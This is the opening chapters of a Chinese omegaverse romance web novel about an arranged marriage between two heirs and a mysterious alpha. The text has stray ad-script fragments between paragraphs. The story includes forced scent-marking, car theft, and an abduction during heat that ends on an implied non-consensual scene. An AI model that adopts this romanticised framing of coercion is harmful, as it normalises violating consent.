《两个冰山怎么谈恋爱》 1. 像只小狗 “恭喜你,毕业了。” 骆嘉淮看着端坐在书桌前,双眸被夕阳渲染成赤红色的青年,面上温和一笑,内心却如释重负。 十年,同一句话,他说了三次。 “谢谢骆老师。”男生站起来收拾桌上的书本,一头齐肩白发在绚丽的光线下璀璨夺目。 骆嘉淮摇头,眉间随着目光落向对方腕骨内侧连表带都遮不住的白线而蹙起。 他将视线移开那无论看多少次都觉得刺眼的地方,望着本人问:“行知,听说你跟徐少钦的婚期到了?” 墨行知垂着眸,长睫在光照下印出扇形阴影,闻言轻轻嗯了声。 “可他到现在都还没有回国…”骆嘉淮双手撑在桌面上,靠近了小声地担心道,“他不会是、想逃婚吧?” 墨行知手指微顿,没抬头:“他不会。” 也不敢。 墨家与徐家每三代必联姻,这是老祖宗定下的规矩,千百年不可违逆。 在花城,这两大家族一个是地产龙头,一个矿产龙头,十几个世纪以来强强联手,是全国根基最稳的企业。 骆嘉淮一开始也觉得不可思议,操心这样的豪门世家以后会不会亲近结婚… “诶行知,给你看个视频。”见对方收拾好了,他急忙掏出手机,一边点开相册一边说,“昨天徐少钦包下哥特林国际赛车场举办了一场私赛party,M国顶级狗仔ken好不容易混进去拍到的,现场特别刺激!” 触屏刹那间,激昂的加油呐喊声和引擎的轰鸣声跟急洪一样冲刷着耳膜。 墨行知把东西抱在胸前,抬眼就见一辆黑色布加迪和一辆蓝色帕加尼正在齐肩飞驰,身后紧跟着一长串小尾巴。 男性喜欢机械玩具是刻进DNA里的,随着解说员激情的语调,布加迪在最后一个弯道惊险超车,看的人热血沸腾。 最终,布加迪赢得比赛。后面的跑车也纷纷冲到终点,无数道光影印在墨行知眸中,绚丽无比。 “让我们用最热烈的掌声恭贺今天的冠军——徐少!” 听筒在书房炸出回响,尽管隔着屏幕,俩人的太阳穴也被震地突突直跳。 片刻,墨行知看到一个高挑的身影从布加迪里面钻出来,但由于观赛区距离太远,放大界面也看不清对方的脸。 画面中,徐少钦摘下头盔,单手揽住朝自己跑过来的美人,似乎是高兴极了,两个人倚着车身贴近了好一会儿都不见分开,看姿势应该是在接吻。 “嘖…”见视频终于播放到重点,骆嘉淮眼神透出嫌恶和愤怒,“那张嘴不知道亲了多少人,脏死了。” 早就猜到答案的墨行知淡淡地睨了他一眼。 徐少钦,23岁s级alpha,喜欢跑车,爱好跟一群公子哥们玩野赛,出门必带漂亮的omega,还每次都不同人… 这些事,都是骆嘉淮悄悄透露给墨行知的。 但他听了并没有任何感觉。 如今看到真实画面更加无感... 大概是因为倆人契合度只有百分之七十的原因吧。 墨行知收回目光,打开书房的门,背身对骆嘉淮刚才刻意的表现犀利点评:“您当演员会饿死。” “啊?”骆嘉淮站在原地愣了一秒,随即抓起背包跟上那道清瘦的背影。 “我没演...” 骆嘉淮没有撒谎。他大学开始给墨行知当私教,把对方当朋友,可他人微言轻,帮不了什么忙… 只希望墨行知看清徐少钦的品行,结婚以后多爱自己,多对自己好,少在那个臭男人身上浪费时间和感情。 倆人并排穿过走廊,没了落日的光照,骆嘉淮看着身旁皮肤快跟头发一样白的人,内心怜悯更胜。 墨行知是他见过长得最好看的男性omega。男生五官周正如画,拥有一双世间少有的褐红色瞳眸,薄薄的嘴唇总是轻抿着,不说话的时候看着清冷又矜贵,像个王子。 若不是常年被养在这偏僻的地方,也不至于浑身上下没有一点人味儿。 “一起吃晚饭。”墨行知偏头说了句。 骆嘉淮笑笑:“好啊。” 话音刚落,他就看到客厅沙发上坐着两个贵气的中年人。 骆嘉淮顿时敛了笑意,明白今晚的饭是吃不成了。 墨行知住的地方是一座私家庄园,离市区至少要一个多少时的车程,这倆人平时没事是不会来的。 听到脚步声,手里端着茶的二人一同看过来,墨行知面无表情地喊了声爸妈,二人应了声嗯,眼神中没有半点看孩子的慈爱。 但墨行知并不会感到难过,基因遗传般也不爱父母。 骆嘉淮左右看了眼,尽管十年仍习惯不了这家人的气氛,拘着身子上前陪笑:“墨总,墨夫人。” 二人略微点头,以示回应。 “我看了你昨天的报表。”墨霖放下茶杯,“功课都教完了?” 骆嘉淮:“是。” “这次倒是快。”墨霖撇了眼沙发,示意俩人坐下。 骆嘉淮恭敬道:“是少爷聪明。” 听到这话,夫妻倆勾了下唇角,似是认同。 墨行知听不懂他们说的‘这次’是第几次,对于脑子里只有三年记忆的他来说,安静地坐着落得清闲。 但这状态很快被墨霖接下来的一句话打破。 “行知,你去一趟M国。” ——— “墨先生,请跟我来。” 过完安检,专属引导员甜美的声音响在耳侧,墨行知抬眼,就见对方拉起他的行李箱杆,亲和一笑。 记忆里第一次出远门,墨行知没有太大的反应,只是对空气中混杂的信息素皱了皱眉。 昨晚墨霖告诉他,婚期将至,外面疯传他跟徐少钦不和的流言,因此让他到M国住几天,到时候再和徐少钦一同回国举行婚礼,谣言也就不辩自明。 “请小心脚下... ” 话音未落,墨行知就被身后一股力量撞了个踉跄,险些摔出去。 “哎呀!”引导员大惊。 好在一只手及时抓住了他的胳膊。 机票震落在地,墨行知皱着眉转头,对上两只漆黑的眸子,接着是一片雪白。 这人穿着一身防护服。 不知道是不是错觉,对方在看到自己后瞳仁震颤的厉害,像是十分惊喜。 但很快,那情绪便被委屈覆盖,水汽像化不开的悲伤笼罩整个眼眶,不到两秒就通红一片... 像是被主人遗弃了多年的小狗。 墨行知一顿。 “墨先生您没事吧?”引导员见状赶紧上前扶住他,然后打开旁边人的手训斥道,“你怎么走的路?还不快给客人道歉!” 那人这才回神,什么话也没说,快速把地上的机票捡起来看。 引导员岂会让他看?几乎是下意识一把抢过来。 “让你给客人道歉!” 手上一空,那人眸色狠戾,阴冷的视线直射过来,看得引导员背脊发凉,气势瞬间矮了大半截。 “听、听到没…” 远处有两个保安朝这边看过来,那人还是什么也没说,深深地看了眼墨行知后,拿着洗护工具便离开了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “诶你!” “你站住...” 身旁的美人气的跺脚,墨行知则被那个锁定的眼神看得头皮发麻,心脏狂跳。 他不明白为什么会这样,伸手按在胸前。 引导员以为他气坏了,一边帮他顺背一边朝那人骂:“没礼貌的家伙!我等下一定会去投诉你!!” 然而对方根本不理她。 “对不起墨先生,您别生气,他这人脑子不正常。” 墨行知摇头,看着那道高大的背影拐进洗手间,问:“他是工作人员?” “就是一个打扫卫生的。”引导员没好气道。 那人叫蓟萧,是个alpha,明明自身条件极好,却甘愿被领导安排在候机厅做保洁。 整天话也不说一句,阴沉沉的,还穿着防护服工作... 着实是个怪人。 墨行知收回目光,接过机票,对那人刚刚的表现做出评价。 “像只小狗。” “?”引导员以为自己听错了。 小、小狗?? 那个大块头??? 想起对方森冷的眼神和阴沉的气质,她打了个寒颤。 心道:像一头扑食小狗的凶鳄还差不多... - 在候机室坐没多久,墨行知收到了骆嘉淮的消息,问他过没过安检,有没有什么不适。 墨行知一一回复。 【过了。】 【没有。】 旁边一阵窸窸窣窣,墨行知抬眼,就见一个大叔正打量着自己,笑的有些憨厚。 “小兄弟,你染的这一头白发还挺时髦。” 墨行知没接话,看着对方把满满一托盘的自助吃食放在桌上。 见他面前只有一杯白开水,大叔凑近了问:“你也是头等舱的?” 墨行知:“在座的都是。” “哦。”大叔看了一圈周围,也不尴尬,继续跟他说话,“我是第一次坐头等舱。” “刚刚有个人非要给我升舱,拉着我把原来的位置退了卖给他...” 手机震动了下,墨行知垂眸。 骆嘉淮:【那就好。】 骆嘉淮:【到了报平安哈。】 “是个很年轻的小伙子,个子特别高,就是人有点奇怪...” 耳边一直念不停,难闻的气息不断飘过来,墨行知眉间略显不耐,伸手将桌子中间的糖果盘推过去。 “大夏天包的严严实实...”大叔一顿,“谢谢,我不吃糖。” 墨行知看着他,褐红色的瞳眸没有半分感情。 “给您缓解口腔异味用。” “……” 恰好引导员过来通知提前登机,墨行知没管大叔什么表情,快速回复完骆嘉淮站起身。 【好。】 - 七月酷暑,机舱冷气十足,墨行知睡了很长一觉,睁开眼时,已经抵达M国。 空姐小心地为他取下行李,微笑着引导:“请这边走,祝您旅途愉快。” 墨行知点了点头,没说话。 十几个小时的飞行时长让人脑袋有点懵,好在当地的气候比花城要凉爽,越走到出口,头脑就越清醒。 远远的,墨行知就看到人群中两个穿着一致,面朝对方像在讨论什么的人举着一块牌子,上面写着他的名字。 他径直走过去,在靠近四五米的距离时,听到其中一人激动地喊:“丑!他绝对很丑!要不然少爷为什么从来不回去看他?!” 墨行知顿住脚步,隔着护栏停在俩人面前。 2. 你真好看 “我很丑?” 二人闻声咻的转回头,两双眼睛满是惊愕。 空气突然安静。 在这个世界,s级的omega和alpha非常稀有尊贵。 s级omega尤其。 他们拥有绝对的力量,站在社会顶端,如果结合就更加无敌。 但这样的存在往往是被觊觎的。 为了延续家族光辉,徐墨两家执掌人不知道结了几次婚才生出这么两个宝贝,他们被秘密温养在不同地方,为了不被心怀歹念的人伤害,从出生到成年都没见过几个活人,连见父母的次数也是屈指可数。 所以,圈外没人知道他们长什么样子。 这两年,徐少钦因为喜欢赛车热度极高,但徐家的保密工作做的非常好,至今没有流出半张照片。 而墨行知除了十五岁那年被墨家公布级别后,就再也没有关于他的消息。 出口人流越来越多,墨行知站的笔直,脸上并没有被侮辱的难看,反而平静地看着面前的两个人。 “墨、墨少爷?”说坏话的那人问。 墨行知一身淡粉色衬衫和牛仔裤,看着特别朴素,虽然长相和那一头白发都非常惹眼,但为了不引起注意,莫霖连保镖也没有给他安排,怎么看都不是一个少爷该有的出场方式。 墨行知没回答,靠近一步,再次开口:“我很丑?” “......” 顶级omega的威压感与生俱来,那人张着嘴却发不出声音,眼睛里充满了未知的恐慌。 下一刻。 嘈杂中“咚”的一声,接着是来自耳光的脆响。 “墨少爷对不起… ” 旁边的伙伴看着这一幕脸都吓白了,大气不敢喘一个。 “我错了… ” “再不敢了…” 一次次道歉和耳光声扩散开来,周围人被这一幕震得纷纷瞪起了眼睛。 然而白发男生却不为所动,静静地俯视着跪在地上的人,眼里的情绪极淡,浑身都散发着上位者不可侵犯的威严。 冷漠又无情。 - 墨行知开除了那两个人,到达目的地时,已是中午十二点。 徐少钦的母亲正在厨房里帮忙做午饭,知道事情的经过后,气的当场发飙,直言要撕烂那俩人的嘴。 “他们人呢?!” 管事连忙上前回:“刚撵走。” 听到这话,柳熙川瞬间熄了火:“哼,跑的倒是快。” 她牵着墨行知到沙发上坐。 “是我用人不当,叫你受委屈了。” 墨行知摇头。 “少钦呢?”柳熙川问管事,“怎么还没回来?” 管事心头一紧,快速看了眼墨行知,结结巴巴道:“少爷他…他…” 柳熙川皱眉:“他什么他?你舌头被那两个狗东西搅住了?” “..….” “我现在去给少爷打电话…” “站住。”柳熙川拿了一个橘子来剥,“就在这打。” 管事张了张嘴,又看了眼墨行知,一副欲言又止的样子。墨行知余光撇见他在看自己,知道他在担心什么,装作什么都不知道。 最后,在柳熙川的刀子眼下,管事拨通了电话,并点开免提。 “行知,吃点水果。” 墨行知接过:“谢谢阿姨。” 柳熙川笑:“你跟少钦马上就要结婚了,应该喊我妈妈才是。” 墨行知点头:“谢谢妈妈。” 他改口的速度太快,没有任何停顿和害羞,倒把柳熙川叫的愣了下。 “呵呵… ”柳熙川干笑两声,“尝尝甜不甜。” 墨行知再次点头。 听骆嘉淮说,柳熙川是徐家执掌人徐鹤南的第七个老婆,a级omega,在生下徐少钦后被徐鹤南分隔两地,直到徐少钦成年才同意他们生活在一起。 所以,柳熙川对儿子格外溺爱,要什么给什么,车库十几辆超跑放着落灰不说,还给对方买地造车场。 耳边歌声不断,那头的人不知道在干什么,迟迟不接电话。 直到打第三遍,听筒里窸窸窣窣片刻,这才响起一道鼻息极重的骂声。 “找打?” 管事:“少爷…” 柳熙川:“少钦!” 那头顿了下,语气瞬间软下来:“妈妈,怎么了?” “你怎么还在睡?”本以为他在玩车的柳熙川脸上有点难看,却没要怪罪的意思,“不是跟你说了行知今天中午到吗?” 那头沉默两秒,这才传来穿衣服的声音:“他到了?那我去接…” “赶紧回来。”似是怕听到什么不好的动静,柳熙川快速按掉了通话。 但在挂断的前一秒,墨行知还是听到了一个声音软绵绵的女生问。 “是谁来了呀徐少…” 管事:“……” 柳熙川:“......” 客厅安静了好一阵。 柳熙川纵使再爱儿子,事情也不能就这么翻过去,墨家和徐家实力相当,又是千百年的亲家关系,她可不敢给墨行知气受。 她看着管事冷笑一声:“看来你也不想干了。” 管事站在旁边低着头,额间汗水滚滚如下。 “少、少爷昨天赢了辆车,一高兴,就转了三个场,估计是跟朋友们醉在包厢里了…”他看着墨行知,极力补救,“少爷平时不这样的。” 墨行知咽下嘴里的橘子,淡淡地看了他一眼。 管事心跳都快蹦出来了。 柳熙川见他不说话,白了眼管事,只好主动缓解场面:“年纪小的男孩子就是贪玩,不像他的哥哥们帮着父亲管理公司,我也是天天骂他。” 给了台阶就要下,墨行知很懂这点。 男生褐红色的瞳眸再次抬起来,直直对上柳熙川的目光,两个不同级别的omega对视着,即使没有信息素的压制柳熙川也被看得腺体发热,心脏乱跳,好几秒后,他才扯出一个笑容。 “正常。” 柳熙川暗自松了一口气,劫后余生般笑了起来:“饿了吧,我们先吃,不等那臭小子了。” “好。” - 等徐少钦到家的时候,墨行知已经半饱。 柳熙川训斥了几句,徐少钦看着未婚妻清瘦的背影,认错倒是诚恳。 坐下的时候,俩人视线看向对方,墨行知礼貌点头,徐少钦见他没生气,勾起唇伸手过来。 “一路辛苦了。” 哪知,墨行知刚抬起手就见徐少钦整个靠过来,握住他的肩膀,用这边的礼仪快速跟他贴了贴脸,接着在他耳边说:“你真好看。” 墨行知皱了下眉。 徐少钦似乎感受不到他的僵硬,仍保持着笑容盯着他看。 “快吃饭吧。”柳熙川知道儿子哄人的功夫,揶揄道,“再看下去太阳都要落山了。” 徐少钦这才回神,松开手坐正回去。 墨行知知道徐少钦不是喜欢自己,只是对这张皮相很满意。 说明他们以后的日子不会冷眼相向。 三个人简简单单聊了几句。柳熙川吃饱后交代:“少钦,你这几天别总腻在车场,多带着行知到处转转。” 徐少钦:“好。” 他喝了一口汤问身旁的人:“行知,你喜欢哪款跑车?” 柳熙川瞪起眼,气的直接把擦嘴的纸巾砸到他头上。 “怎么了嘛...”徐少钦拿下纸巾扔进垃圾桶,故作委屈,“妈妈你又不懂男生。” 柳熙川:“......” 墨行知放下筷子,随口说了一款已经停产多年的限量版超跑。 “法拉利拉法。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 徐少钦点点头,看着他笑:“很漂亮。” 也不知道是在说车还是说人。 “等下送你一辆。” 墨行知:“好。” 徐少钦车友很多,弄一辆二手的不难。 见他不扭捏,徐少钦更高兴了,把饭囫囵吞下,站起身:“妈妈我们走了。” “诶,才刚回来就走啊,那汤你喝完了没,我炖了好久的…” 见他们气氛不错,柳熙川无奈摇头,倒也不再去管。 - 徐少钦的车场不到五万平方,却有二十几道急弯,墨行知对这样玩命的运动没兴趣,站在观赛区看徐少钦跑了两圈。 “行知,真的不体验一下吗?” 墨行知摇头,看着眼前刚送过来的红色法拉利拉法,食指戳了戳它的耳朵:“中午的饭挺好吃的,我还不想吐出来。” 闻言,法拉利的主人“噗哧”一声笑了出来。 徐少钦也没恼,把车库里一辆阿斯顿马丁战神的钥匙交给朋友,眼睛都不带眨一下。 “谢了兄弟。” 朋友接过钥匙,给他竖了跟大拇指,随后对墨行知点了下头,高兴地把车子开走了。 徐少钦以为墨行知会很高兴,背身撑在车上,偏头问他:“喜欢吗?” 墨行知很给面子:“喜欢。” 徐少钦笑着点点头,随后站直起来,非常绅士地帮他打开副驾驶车门:“既然你不喜欢我这车场,那我们去兜一圈风吧。” 墨行知说好。 俩人来到一处海边,正好遇上日落最美的时候。 但徐少钦的电话却不断打进来。 墨行知没管他,自己走到沙滩上,拿出手机拍了几张周围的风景照传给骆嘉淮。 对方很快回过来消息。 骆嘉淮:【漂亮。】 骆嘉淮:【第三张是谁?背影不错。】 墨行知顿了下,这才注意到照片边上有个人。 是一个长发及腰的男生。 【路人。】 他把手机放回兜里,抬起眼,就见那个长发男生朝着另一个男生走过去,随后伸手搂住了对方。 墨行知垂眸,转身往反向走。 - “你说你找了他那么久,好不容易才遇到,为什么当时不相认?” 苏樾撩了一把长发,露出俊美的五官,看着身旁人问:“就算你男大十八变,他难道都没闻出来你的味道吗?” “他的记忆被博士动过手脚。”蓟萧盯着脚下的沙子,声音有些沉闷,“已经不记得我了。” 苏樾听到那两个字就鬼火冒,一脚把沙子踢老远。 “操!” 两个人沿着海浪边线走了好一会儿。 “不过你也挺厉害,能把12分起飞的票看成21分。”苏樾缺德地笑了起来。 蓟萧抿着唇,想起自己因为记错机票时间,而眼睁睁看着哥哥离开,有些不高兴。 “不好笑。” 某个缺德扬起的嘴角一落,生无可恋。 手机在这时响起,苏越迅速拿起来看:“诶,张局回消息了。”他拍了拍旁边人的肩膀,“叫墨行知是吧?染了一头白发?” 蓟萧点头说是。 “行。”苏樾一边回消息一边说,“等着吧,三天之内,一定把人给你找出来。” 听到这话,alpha抬眼看着他,双眸因为背光深的像一潭黑水。 “不客气。”苏樾邪魅一笑。 蓟萧:“……” “明天跟我去车场。” “不去。” “必须去!” - 看够了,墨行知就准备回去,在靠近车边时,他想了想,又转了个方向。 本来是去喊徐少钦回家,不料却在一排绿植背面,听到对方正跟电话里面的人调情。 3. 你发情了…… “好了宝贝儿,我现在忙着呢,晚点再去陪你。” “好~我会尽快。” “穿那套兔子的,我喜欢捏耳朵…” 徐少钦浑然不知身后有人,腻腻歪歪跟对方聊了好一阵。 墨行知垂下眼眸,只当没听到,慢悠悠地走过去,鞋子稍微弄出了点动静。 徐少钦闻声转头,见他来了,一秒掐断电话,神色也恢复清明,彷佛刚才调情的人不是自己,走进问:“不看了?” 墨行知:“看够了。” “那回去了?” “嗯。” 墨行知比徐少钦矮一点,往下看的时候睫毛特别密长,日落打在他的侧面,把原本冷白的皮肤照出了点暖色。 海风不断吹过来,omega的发丝时而扬起,时而落下,似在与风共舞,末了还挂了几根在嘴唇边摇曳,看着特别迷人。 徐少钦眨了两下眼睛,不自觉地抬起手,想帮他理一理鬓边的发。 墨行知这回反应极快,一边快速把头发别到耳后,一边看表,然后假装控诉道:“你怎么打了那么久的电话,是有什么事吗?” 徐少钦一顿,抬起的手转而抓了把头发:“朋友约我比赛。” 他没撒谎,前面几个电话确实是朋友打来的。 “什么时候?” “明天上午九点,在哥特林国际赛车场,你来吗?” 墨行知肯定会去的,但想起刚刚的电话,却说:“起的来就去。” 徐少钦知道他今天坐飞机累着了,撇了撇嘴,只当是被拒绝了。 - 回到家,徐少钦就在车库里监督工程师,晚饭都没出来吃。 一直到凌晨两点,浅眠的墨行知被引擎声吵醒。 他拉开窗帘,看着大门口消失的车屁股,眸色跟尾灯融为一体。 - 第二天一早,墨行知穿戴整齐,若无其事地下楼吃早餐。 “妈妈早。” 柳熙川看到他有些惊讶:“行知,起这么早,怎么不多睡会儿。” 墨行知扯出一个很淡的笑容:“要去看少钦比赛。” 柳熙川一听很是高兴。儿子能遇到一个通情达理、还有共同爱好的妻子,怎么不算一件幸事呢? “少钦呢?”她往楼上看了眼。 管事在旁边听着,刚想找借口,墨行知就抢先道:“他应该是天没亮就去了,我看他房间空着。” 管事:“……” “这孩子,早餐也不吃…” “没事的妈妈,我等下给他带过去。” “好。” 趁柳熙川叫阿姨打包的空隙,管事本想溜出去打电话,不料却被墨行知叫住。 管事一僵,跨出去的一只脚慢慢挪了回来,恭敬道:“墨少爷,您有什么吩咐。” 知道他着急,墨行知慢条斯理地给培根卷上煎蛋,觉得少了点什么,又摊开加上青菜再重新卷起来后,这才抬眼看他。 omega眉眼平静,语气亲和却充满威压感:“少钦说在哥特林比赛,等下就麻烦你带我过去吧。” 管事额间冒汗,隐隐察觉到不对劲,却只能服从。 “…是。” 一路上,管事时不时注意时间,开得很慢。墨行知看在眼里,什么话也没有说。 哪知等到了地方徐少钦还在睡... 管事心都绷紧了。 - 与此同时,徐少钦被保镖敲门敲的无比心烦,随手抄起一个纸巾盒砸向门边。 保镖手一抖,再害怕丢饭碗,也懂得轻重。 “少爷,墨少爷来了,人在会客厅…” 话音未落,徐少钦两眼一睁,瞬间从床上坐了起来。 只是还没等他开口,枕边的男O就冲门口喊了句:“让他在外面等着,徐少还没睡醒呢。” 看样子起床气也不小。 “你说什么?” 那omega愣了下,转过头,看到徐少钦坐着,翻身凑上来抱住他的腰,头上还戴着兔耳朵发箍。 他昨晚被alpha的信息素滋养的不错,清秀的脸蛋到现在还有点红,刚睡醒的大眼睛非常亮,看着确实像只惹人怜的兔子。 “徐少,你不是不喜欢他嘛。” 哪知徐少钦一把挥开了他的手,脸色沉沉,彷佛昨晚那个在他耳边说情话的人只是幻想。 “我喜不喜欢他关你什么事?”徐少钦眼神冰冷,“他是我的未婚妻,你有什么资格发令。” “懂不懂规矩。” 当头一棒,那omega顿时就清醒了,睁着眼睛害怕的看着他。 圈里都说徐少钦最温柔绅士,昨晚也证实了,没想到会因为一句话翻脸。 为了不失去这么好的资源,omega跪爬起来,双手攀上alpha的脖子,像昨天那样撒娇。 “徐少...” “徐少,我错了。” “我错了徐少...” 徐少钦眉间尽显不耐烦,再次挥开他把保镖叫进来,一边穿衣服一边说:“把那块PP5146给他。” 保镖点头,不管omega如何求饶,掀开被子把人拦腰拎起来就走。 - 直到把一杯水喝完,墨行知才看到一个顶着鸡窝头的alpha出来。 “行知。”徐少钦挨着他坐下,看到桌上打包好的早餐,心里一暖,“怎么来这么早,睡饱了吗?” alpha一靠近,一股浓浓的信息素就扑了过来,红酒和奶糖味的,经过一晚上熏陶,闻起来晕眩又刺鼻。 墨行知皱起眉,捂着鼻子往旁边移老远,毫不掩饰眼里的嫌弃:“你很臭。” 徐少钦微顿,一时没反应过来,管事连忙上前提醒,他才发现不妙,在心里骂了自己一句蠢货。 “我去、换套衣服…” 墨行知没说话,冷着一张脸。 徐少钦知道他生气了,可现在解释已经无济于事。 等人洗漱好再次出来,墨行知站起身,靠近,然后直接扬起手狠狠甩了对方一巴掌。 “啪———!” 相当响亮。 管事被震得闭上了眼睛,几个保镖更不敢阻拦。 这一下,是徐少钦应得的,无关墨行知生不生气。 俗话说的好‘家丑不可外扬’‘风流不可传家’,就算是家里的长辈,外面彩旗吹得再飘扬,也不能搬到台面上来,更何况被未婚妻现场抓奸。 徐少钦没想到墨行知下手这么狠,被打得一阵耳鸣,白皙的脸上也很快浮起五根红印。他偏着头站在那里,缓了好一会儿才伸出舌头顶了顶腮帮子,第一次尝到铁锈味。 s级omega果然厉害。 墨行知静静地看了他两秒,一句话也没说,转身往观赛区走。 管事见状赶紧吩咐保镖拿冰块过来。 周围一阵忙碌,徐少钦看着那道修长的背影消失在光线中,转正脑袋,坐到沙发上打开早餐。 管事拿着冰袋小心翼翼贴上去时,徐少钦皱着眉撇开了好几次,他以为对方痛极了,刚想问要不要去医院,抬眼却看见徐少钦在笑。 管事:“?” - 早上八点的太阳已经开始毒辣,一辆银色Aspark Owl在道路上穿梭着,车身轻盈似一只神采奕奕的蝴蝶,一路上引来不少关注。 然而里面坐着的两个男生精神却一个天一个地。 “我说,你打起点精神来。” “这还没到车场呢,你等下是准备直接晕过去吗?” “不是,你都成年了啊,还抵御不了外界的信息素啊?” 苏樾看着副驾驶双手抱着胸,大夏天穿着一件长袖冲锋衣,戴着渔夫帽和口罩,裹的严严实实的人,一个头两个大。 “先说好,我可背不动你。”他一边打方向一边打预防针,“到时候你身上要是有什么磕磕碰碰的,别找我算账啊。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 蓟萧本来就没睡好,一大早又被硬拉下床,闻言把脸从衣服里抬起来,闭著的眼睫缓缓睁开。 alpha眼下印着青灰,被阳光刺的再次闭上眼睛躲回去。 “困。” “......” 苏樾有些无语:“困死你得了,反正活着也是累。” 身旁人没了动静,苏樾翻白眼,拐进一条比较阴凉的车道。 本以为不会再得到回应,不想过了几分钟,alpha突然飘过来一句话,吓得他差点骂娘。 “就算去死,也要先拉那群人下地狱。” 低沉的声音阴挚狠戾,像是地下道里爬出来的烈鬼。 - 墨行知不想耳朵太吵,坐到了观赛区最高一排。 手机震动了下,是骆嘉淮问他起来这么早干什么。因为他1小时前点赞了一条骆嘉淮夜跑的动态。 墨行知垂着眼,想起徐少钦身上混杂的信息素,突然有些反胃。 【教训一条发情的狗。】 骆嘉淮:【……】 骆嘉淮:【徐少钦?】 【嗯。】 骆嘉淮:【[大拇指]】 骆嘉淮:【训狠一点。】 车道外已经排上一条长长的贪吃蛇,墨行知把手机揣进兜里,目光停在最后一辆银色Aspark Owl上。 昨天在海边看见的那两个男生站在车旁,不知道在说什么,长发男生握着另一个男生的肩膀疯狂摇晃。 “喜欢那辆车?” 视线里突然出现一瓶矿泉水,墨行知抬起头,徐少钦戴着口罩站在旁边,眉间紧紧皱着,看起来不太高兴。 他接过水:“喜欢。” 徐少钦嘖了声,坐到他旁边。 “等下赢了送给你。” 徐少钦认识那辆车的主人,忘了叫什么,只记得也是一个s级alpha。 空气中渐渐散发出红酒的味道,墨行知反胃更胜,拧开瓶盖喝了几口水压了压。 缓了几秒,他才道:“好。” 徐少钦以为把人哄好了,偏过头,看着他流畅的下颚和细长的脖子,喉结跟着滑动了下。 墨行知的目光仍看着那辆车,直到手里的水突然被人抢走,他才把视线转向旁边,道:“我喝过了。” “那咋了。”徐少钦仰头把大半瓶水喝了个干净。 墨行知不说话了。 似是不满他的反应,徐少钦忽地往他脖子那靠近,那里是omega最脆弱的地方,墨行知几乎是下意识躲开,却被徐少钦搂住肩膀,不顾他的意愿,强势在他身上留下自己的信息素。 alpha秉性恶劣,占有欲强,纵使他们只有百分之七十的契合度,徐少钦也不允许自己的omega看别的alpha看那么久。 挣扎中,墨行知后颈被捏住,粗粝的手指在腺体上刮过,引起一阵刺痛。他扬起手想打人,却被徐少钦抓到嘴边亲了下。 “以后我们要接吻的。” “……” 注入了足够多的信息素,徐少钦这才站起来,满意离开。 墨行知看着那道背影,只觉胃里翻滚的厉害,他左右看了眼,没看到垃圾桶,最后捂着嘴巴往洗手间跑。 途中还不小心撞了一个人,但他不敢张口道歉,怕喷到对方身上。 墨行知把早餐全吐了出来,漱口时,发现头有点晕,腺体也开始发烫。 他捧了把凉水到脸上,缓了好一会儿,却还是觉得热... 他伸手去开洗手间的门,想着找管事要支抑制剂,他的发情期还没到,应该打一针就好。 不料双腿忽然发软,直直往地上跪。 下一秒。 一双手将他揽进了怀里。 “还好吗?” 有了支撑点,墨行知抬起头,眼前的人戴着口罩和帽子,他只能看到对方一双漆黑发亮的眼睛。 “你发情了……” 4. 让他活着 铃兰花香不断在洗手间扩散,蓟萧揽在omega腰上的手不自觉收紧。 封闭多年的腺体被召唤那般,开始发热。 他双手握成拳头,心跳疯狂加速。 墨行知没察觉到他的反应,发情使大脑变得迟钝,嗓音也变得嘶哑。 “你有、抑制剂吗?” 蓟萧垂眸盯着怀里的omega,气息渐渐紊乱,对方一直往上攀的体温,让他感觉抱了个火炉。 没有alpha的omega才需要抑制剂。 可哥哥身上却充斥着另一个alpha浓浓的信息素。 红酒味,让人眩晕、恶心。 蓟萧想起进观赛区时碰到一个同样戴着口罩的人,蹙起眉,既愤怒又心疼。 他伸手帮omega汗湿的头发往后理了理,开始释放安抚信息素,平静道:“那东西对身体不好。” ??? 墨行知没想到他会这么做。 他们不是伴侣,也不认识,正常情况不是应该叫人或者打911吗? 释放安抚信息素对AO来说非常消耗精力,如若不是亲密的关系,那就是想和对方发展成亲密关系… 墨行知尚有一丝理智在,伸手握住腺体,想让对方停止这一行为。可不知道为什么,鼻尖闻到的,却是一股让人非常安心且舒适的味道。 云杉掺杂着铃兰。 墨行知以为那一缕铃兰香是自己散出来的,开始慌乱起来。 omega如果能闻到自己的味道,证明在很短的时间里将会失去理智。 彻底沦为被欲望支配的动物。 墨行知:“你......” 墨行知是s级omega,发情会使周围三公里的AO受到影响,蓟萧没解释为什么这么做,弯腰把人横抱起来,直往电梯处走。 “...去哪?”墨行知想挣扎却没有力气,整颗头晕的厉害,“放下我...” 蓟萧抱着人来到停车场,然后随便找了一辆车,一脚踹碎窗户,用某种技术启动了引擎。他打开车门,把墨行知放在副驾驶系好安全带,也不管自己屁股下面的碎玻璃,踩下油门就走。 一路上,墨行知难受的厉害,越来越高的体温让他又渴又晕,鬓边不断往下躺汗。omega热得把衣扣解开两颗,露出修长的脖颈和一片白皙的锁骨,慢慢往下滚落的汗珠在阳光下晶莹剔透。 蓟萧被对方的信息素刺激得心脏快要炸开,根本不敢往旁边看,开的飞快,不知道闯了几个红绿灯。手指被粘在方向盘上的一些玻璃渣磨出了鲜血,也感觉不到疼。 没多久,车辆驶入一个村庄。周围绿油油的树叶和流动的溪水很快将车声吞没,留下一片鸟语花香。 蓟萧把车停在一座木屋后院。 直到身后一片柔软,墨行知才睁开眼,入目是一台吊扇挂在天花板上,随后是杉木板和不算太大的房间,周围挂着一些装饰。 有点旧,但很干净。 蓟萧把手上的血迹冲洗掉,脱下冲锋衣,把口罩和帽子也摘下来。 他拉开抽屉,取出两支抑制剂打在左右肩膀上。 墨行知刚想撑着身子坐起来,眼前就落下一道高大的阴影。alpha居高临下看着他,一双黑漆漆的眸子泛着红光,好似一头准备猎食的鳄。 眼看对方靠过来要剥自己衣服,墨行知伸出双手撑在那坚硬的胸膛上,虽然知道接下来会发生什么,但还是极力把人往外推,张着那副烫到冒火的嗓子骂。 “滚开......” 